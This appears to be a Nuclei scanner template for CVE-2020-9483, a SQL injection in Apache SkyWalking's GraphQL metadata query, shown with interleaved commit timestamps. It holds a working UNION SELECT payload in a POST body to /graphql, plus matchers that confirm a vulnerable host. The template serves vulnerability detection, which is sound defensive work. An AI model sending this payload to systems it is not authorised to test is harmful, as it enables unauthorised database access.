2021-03-21 04:54:00 +00:00
id : CVE-2020-9483
info :
name : SkyWalking SQLI
author : pikpikcu
severity : high
2021-03-24 06:56:49 +00:00
description : |
2022-04-07 13:53:15 +00:00
When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
reference :
- https://github.com/apache/skywalking/pull/4639
- https://nvd.nist.gov/vuln/detail/CVE-2020-9483
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-9483
cwe-id : CWE-89
2023-07-11 19:49:27 +00:00
epss-score : 0.06219
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : skywalking
tags : cve,cve2020,sqli,skywalking
2021-03-21 04:54:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-21 04:54:00 +00:00
- method : POST
path :
- "{{BaseURL}}/graphql"
2023-07-11 19:49:27 +00:00
2021-03-21 04:54:00 +00:00
body : |
{"query" : "query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}" , "variables" : {"d" : {"start" : "2021-11-11" , "end" : "2021-11-12" , "step" : "DAY" }}}
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/json
2021-03-21 04:54:00 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-21 04:54:00 +00:00
words :
- "Content-Type: application/json"
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-21 04:54:00 +00:00
words :
- "UNION SELECT 1,CONCAT('~','9999999999','~')--"
2021-03-21 09:37:06 +00:00
- 'Exception while fetching data'
2021-03-21 04:54:00 +00:00
condition : and
- type : status
status :
- 200